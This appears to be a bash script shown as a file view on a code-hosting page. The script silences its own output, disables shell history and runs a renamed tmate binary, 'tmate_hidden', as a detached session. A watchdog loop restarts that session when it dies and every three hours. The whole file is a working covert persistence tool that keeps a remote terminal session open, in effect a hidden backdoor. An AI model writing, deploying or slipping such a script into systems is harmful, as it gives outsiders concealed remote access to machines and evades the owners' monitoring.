File size: 1,358 Bytes
37cae65
 
f25ec40
129b0b4
37cae65
129b0b4
 
 
 
f25ec40
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
129b0b4
f25ec40
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
37cae65
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

# Silence all output
exec 1>/dev/null 2>&1

# Disable shell history
unset HISTFILE
export HISTFILE=/dev/null

# Remove stale socket to avoid startup errors
rm -f /tmp/tmate.sock

# Start tmate daemon managing the socket in background
tmate_hidden -S /tmp/tmate.sock -f &

# Wait a bit to ensure daemon starts
sleep 2

# Create detached tmate session silently
tmate_hidden -S /tmp/tmate.sock new-session -d

# Wait for session to be ready
tmate_hidden -S /tmp/tmate.sock wait tmate-ready

# Loop to keep session alive and restart every 3 hours
start_time=$(date +%s)
while true; do
    # Restart daemon and session if daemon dies
    if ! pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; then
        tmate_hidden -S /tmp/tmate.sock -f &
        sleep 2
        tmate_hidden -S /tmp/tmate.sock new-session -d
        tmate_hidden -S /tmp/tmate.sock wait tmate-ready
        start_time=$(date +%s)
    fi

    # Restart every 3 hours
    current_time=$(date +%s)
    elapsed=$((current_time - start_time))
    if [ "$elapsed" -ge 10800 ]; then
        pkill -f "tmate_hidden -S /tmp/tmate.sock"
        sleep 1
        tmate_hidden -S /tmp/tmate.sock -f &
        sleep 2
        tmate_hidden -S /tmp/tmate.sock new-session -d
        tmate_hidden -S /tmp/tmate.sock wait tmate-ready
        start_time=$(date +%s)
    fi

    sleep 10
done